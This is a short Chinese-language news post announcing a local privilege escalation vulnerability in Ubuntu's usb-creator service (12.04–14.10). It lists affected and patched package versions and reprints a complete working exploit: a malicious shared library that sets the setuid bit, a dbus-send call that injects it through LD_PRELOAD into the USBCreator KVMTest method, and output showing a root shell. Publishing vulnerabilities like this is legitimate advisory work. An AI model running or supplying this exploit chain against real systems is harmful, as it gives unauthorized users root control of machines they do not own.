最新消息显示Ubuntu12.04、12.10、13.04、13.10、14.04、14.10版本被曝本地权限提升漏洞，含EXP，该级别被定义为高危等级，该级别漏洞由Google的神人Tavis Ormandy率先发出，包含漏洞利用测试程序。
具体详情：
Ubuntu Precise (12.04LTS) <= usb-creator: 0.2.38.3ubuntu (Patched in: 0.2.38.3ubuntu0.1)
Ubuntu Trusty (14.04LTS) <= usb-creator 0.2.56.3ubuntu (Patched in: 0.2.56.3ubuntu0.1)
Ubuntu Utopic (14.10) <= usb-creator 0.2.62ubuntu0.2 (Patched in: 0.2.62ubuntu0.3)
漏洞测试EXP
$ cat > test.cvoid __attribute__((constructor)) init (void){chown("/tmp/test", 0, 0);chmod("/tmp/test", 04755);}^D
$ gcc -shared -fPIC -o /tmp/test.so test.c
$ cp /bin/sh /tmp/test
$ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"method return sender=:1.4364 -> dest=:1.7427 reply_serial=2
$ ls -l /tmp/test-rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test
$ /tmp/test# ideuid=0(root) groups=0(root)
该漏洞不提及Ubuntu 15.04，注意安全，如果有必要升级到Ubuntu 15.04试用新技术，安装Ubuntu 15.04后要做的事。（Ubuntu 15.04的桌面越做越出色了！）
注：以上图片上传到红联Linux系统教程频道中。